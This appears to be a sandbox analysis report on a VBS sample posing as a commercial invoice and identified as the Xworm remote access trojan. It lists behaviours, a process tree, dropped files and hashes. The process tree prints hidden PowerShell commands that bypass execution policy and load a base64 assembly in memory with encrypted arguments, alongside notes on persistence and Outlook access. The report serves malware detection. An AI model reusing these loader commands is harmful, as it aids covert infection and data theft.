Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 15:00

General

  • Target
    z1CommercialInvoice-2026_06.vbs
  • Size 5.2MB
  • Sample260930-sdhpyavt6k
  • SHA256 54d6ed312f9fb65fb6fc95d99ac5c65297017356b184a2ed8677c166ec172625
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 2 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 5 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\z1CommercialInvoice-2026_06.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$pathobiology=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$spongiarian=[Convert]::FromBase64String($pathobiology);[AppDomain]::CurrentDomain.Load($spongiarian)|Out-Null;[Win32.RMP.Cls_FKTnDIbOZV]::Met_FKTnDIbOZVlQ('oKWrwplgjPLhWsa/v6JARANQtmKcH2DoPuwmbhOqCdd2lirX4vQhg0Gk0FCuFiQ1','','SA1FLpP4NvfpSsmFIIub6KDxQ+OIHmCG/RMPiSYQON/ly5yVmAO9pSxyJ7/RbMEG','AQ3fQ7DQQZORFSDFmld7ng8H6D31FhpIm5oSkOD5IsM=','m4U0Af+YGQUwiXKbrol6LteRpuee4/FcS8LCkYIana8=','','7wB2tC21wxMRwu1SNuS1aGRyAK+AeHIRklkUt64Iiv4=','','','3/mYIYrhnVfmcjkurLMZxh4ltHpJkNSz9lGDmcLGLeUZybj0EYKrl5D3pvWpbLZ+','4W9B9KBLYVxo9V0kMy+4YXkbzYD4+Sg5W6tNikuSi5g=','/qio8KYy47YY9PWmRBCzQU9ISvmWg/frw+V2cPJahag=','vUoCtMiNQDo25Na65bFJlX2+LSe4tYxyW8JncQNsWWg=','','Ftw/ZG/NFMwmzOw1PbXzSHwbyL26o073hJ3zIFmKm6Q=','6oghPup3BvrYcFOeSIUswcE68Mnlk7OrodpMHosCjTY=','','','')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1132
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$pathobiology=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$spongiarian=[Convert]::FromBase64String($pathobiology);[AppDomain]::CurrentDomain.Load($spongiarian)|Out-Null;[Win32.RMP.Cls_FKTnDIbOZV]::Met_FKTnDIbOZVlQ('oKWrwplgjPLhWsa/v6JARANQtmKcH2DoPuwmbhOqCdd2lirX4vQhg0Gk0FCuFiQ1','','SA1FLpP4NvfpSsmFIIub6KDxQ+OIHmCG/RMPiSYQON/ly5yVmAO9pSxyJ7/RbMEG','AQ3fQ7DQQZORFSDFmld7ng8H6D31FhpIm5oSkOD5IsM=','m4U0Af+YGQUwiXKbrol6LteRpuee4/FcS8LCkYIana8=','','7wB2tC21wxMRwu1SNuS1aGRyAK+AeHIRklkUt64Iiv4=','','','3/mYIYrhnVfmcjkurLMZxh4ltHpJkNSz9lGDmcLGLeUZybj0EYKrl5D3pvWpbLZ+','4W9B9KBLYVxo9V0kMy+4YXkbzYD4+Sg5W6tNikuSi5g=','/qio8KYy47YY9PWmRBCzQU9ISvmWg/frw+V2cPJahag=','vUoCtMiNQDo25Na65bFJlX2+LSe4tYxyW8JncQNsWWg=','','Ftw/ZG/NFMwmzOw1PbXzSHwbyL26o073hJ3zIFmKm6Q=','6oghPup3BvrYcFOeSIUswcE68Mnlk7OrodpMHosCjTY=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4520
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
      2⤵
      • Creates a file in the Startup directory
      • Accesses Microsoft Outlook profiles
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      • outlook_office_path
      • outlook_win_path
      PID:4068
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sdxnrm.vbs"
        3⤵
        • Checks computer location settings
        • Executes a VBScript file via the Windows Script Host.
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2600
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_bc41adebcc3c4a92ac540892587b48bb.cs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4244
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCD5D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF173E52438C14D36BAB729989467431.TMP"
          4⤵
            PID:3844
        • C:\Users\Admin\AppData\Local\Temp\CasPol.exe
          "C:\Users\Admin\AppData\Local\Temp\CasPol.exe" 4068
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4232
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\CasPol.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_dc30355047cf41f5bd72babe0f9068b5.cs"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1452
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB45.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCBB2B6827318B49939BB5F6EE37F7CDE9.TMP"
            4⤵
              PID:1180
      • C:\PROGRA~3\scvost.exe
        C:\PROGRA~3\scvost.exe
        1⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:2492
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$selfheals=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$stibide=[Convert]::FromBase64String($selfheals);[AppDomain]::CurrentDomain.Load($stibide)|Out-Null;[Win32.RMP.Cls_OgWignSvmo]::Met_OgWignSvmorS('i/4qgaR8WjrCM4+57bvtdI1p40Pxy1Kgne8Tlf/jH9OhVn9LEFbA4KwcBCtD6PgVrjuAt1cgN26Zu+E32oC0AA==','','hQcQAgfPaRuSGqI3gztaL501pMQLbGU/CP5kuhiLi6y/gBjSy2zWJrn6U7oYyF3L','WSuGKBH3G0fdNzjhEesWBO+nZnPIbLK1u950bm/d9Zg=','yJohqHBPbxnusCMDKXSmfQ6ZhJAYK1JS0bX2n41a9tU=','','+UR4j2zpBVi6zWAa7ZwTOMdjaB+0O003Okr/ShAwx0g=','','','SrsPWmTtAa1aiL2zIYgm25lxleIpRob8FTJaBbXxFUHrdjHZLaAyVyHaC4DZ94C+','FuTnPaYABCfO+qb9E3HQLk9aZVOz1FVLMf00vxO6Oc8=','bR5O+DsHeXx/rDawIwXOgP4o7Rm9O7cheiuW5H6S2fc=','1wQorG7ZCk0OEXV1xvftyC35R/6G1KqFT3YsBQ9RCgY=','','v/keUdTQ6biKWJemSBnVEcZw/zrI9VVoorpkSrq+Ovw=','Tad0bidRHSDFB97mK6gnbwmofEQrQG62FaArh/ryN6U=','','','')"
        1⤵
        • Process spawned unexpected child process
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2228

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            scvost.exe

            • Path C:\ProgramData\scvost.exe
            • Size 106KB
            • SHA256 7d3bdb5b7ee9685c7c18c0c3272da2a593f6c5c326f1ea67f22aae27c57ba1e6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 b594b19d4dd81a763b40245ee86787cc410285c80c5ca37a56a3371a6b4a1346
            • MD5 SHA1 SHA512

            CasPol.exe

            • Path C:\Users\Admin\AppData\Local\Temp\CasPol.exe
            • Size 5KB
            • SHA256 3589c7bfb81c2e1bdc99630c415b1b97282ccc0dd8e3a73aaa8cf459a46bf106
            • MD5 SHA1 SHA512 SSDEEP TLSH

            RESCD5D.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESCD5D.tmp
            • Size 1KB
            • SHA256 6d7b94ba655140b132e41e609310cabfc1f00708cd337bff21b3faf9cfceb16d
            • MD5 SHA1 SHA512 TLSH

            RESEB45.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESEB45.tmp
            • Size 1KB
            • SHA256 06c651e2d7ceb2c8a2692490cbb141ef12543321a986523cfb64e589acf0f91a
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_bh2bx4zv.vdl.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bh2bx4zv.vdl.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            sdxnrm.vbs

            • Path C:\Users\Admin\AppData\Local\Temp\sdxnrm.vbs
            • Size 4.6MB
            • SHA256 5af5cf9563985cf0543e6025cfb453f18ace48380b964fd815d9344141cb2dfd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSCF173E52438C14D36BAB729989467431.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\CSCF173E52438C14D36BAB729989467431.TMP
            • Size 1KB
            • SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
            • MD5 SHA1 SHA512 TLSH

            guardian_src_bc41adebcc3c4a92ac540892587b48bb.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_bc41adebcc3c4a92ac540892587b48bb.cs
            • Size 4KB
            • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1132-2-0x000001F6583F0000-0x000001F658400000-memory.dmp

            memory/1132-3-0x000001F6583F0000-0x000001F658400000-memory.dmp

            memory/2228-51-0x00000242F53B0000-0x00000242F53D2000-memory.dmp

            memory/2492-35-0x00000000009D0000-0x00000000009EC000-memory.dmp

            memory/2600-67-0x00000000068D0000-0x000000000691C000-memory.dmp

            memory/2600-64-0x0000000006890000-0x00000000068AE000-memory.dmp

            memory/2600-50-0x0000000003070000-0x00000000030A6000-memory.dmp

            memory/2600-52-0x0000000005C60000-0x0000000006288000-memory.dmp

            memory/2600-79-0x0000000006C20000-0x0000000006C42000-memory.dmp

            memory/2600-53-0x0000000005AF0000-0x0000000005B12000-memory.dmp

            memory/2600-54-0x0000000006300000-0x0000000006366000-memory.dmp

            memory/2600-62-0x00000000063E0000-0x0000000006734000-memory.dmp

            memory/4068-106-0x000000000AAB0000-0x000000000AAC1000-memory.dmp

            memory/4068-89-0x0000000009190000-0x000000000980A000-memory.dmp

            memory/4068-122-0x000000000A0E0000-0x000000000A2A2000-memory.dmp

            memory/4068-63-0x00000000075E0000-0x0000000007610000-memory.dmp

            memory/4068-27-0x0000000005800000-0x0000000005866000-memory.dmp

            memory/4068-112-0x0000000009030000-0x0000000009038000-memory.dmp

            memory/4068-28-0x0000000005E20000-0x00000000063C4000-memory.dmp

            memory/4068-26-0x0000000005750000-0x00000000057EC000-memory.dmp

            memory/4068-22-0x0000000000400000-0x000000000041C000-memory.dmp

            memory/4068-111-0x00000000099A0000-0x0000000009A1C000-memory.dmp

            memory/4068-80-0x0000000007CA0000-0x0000000007CD2000-memory.dmp

            memory/4068-88-0x0000000007D40000-0x0000000007D5A000-memory.dmp

            memory/4068-91-0x0000000007E40000-0x0000000007E62000-memory.dmp

            memory/4068-90-0x00000000080B0000-0x0000000008146000-memory.dmp

            memory/4068-92-0x00000000081A0000-0x00000000081EA000-memory.dmp

            memory/4068-65-0x0000000007620000-0x0000000007628000-memory.dmp

            memory/4068-95-0x0000000008FA0000-0x0000000008FEC000-memory.dmp

            memory/4068-103-0x000000000A940000-0x000000000A95E000-memory.dmp

            memory/4068-104-0x000000000A9A0000-0x000000000AA43000-memory.dmp

            memory/4068-105-0x000000000AA90000-0x000000000AA9A000-memory.dmp

            memory/4068-37-0x0000000007440000-0x00000000074D2000-memory.dmp

            memory/4068-107-0x000000000AAF0000-0x000000000AAFE000-memory.dmp

            memory/4068-108-0x000000000AB00000-0x000000000AB14000-memory.dmp

            memory/4068-109-0x000000000ACC0000-0x000000000ACDA000-memory.dmp

            memory/4068-110-0x000000000ACE0000-0x000000000ACE8000-memory.dmp

            memory/4232-78-0x0000000000330000-0x0000000000338000-memory.dmp

            memory/4520-19-0x000001C7792B0000-0x000001C7792D2000-memory.dmp

            memory/4520-6-0x000001C779280000-0x000001C7792A2000-memory.dmp

            memory/4520-0-0x000001C779370000-0x000001C779380000-memory.dmp

            memory/4520-1-0x000001C779370000-0x000001C779380000-memory.dmp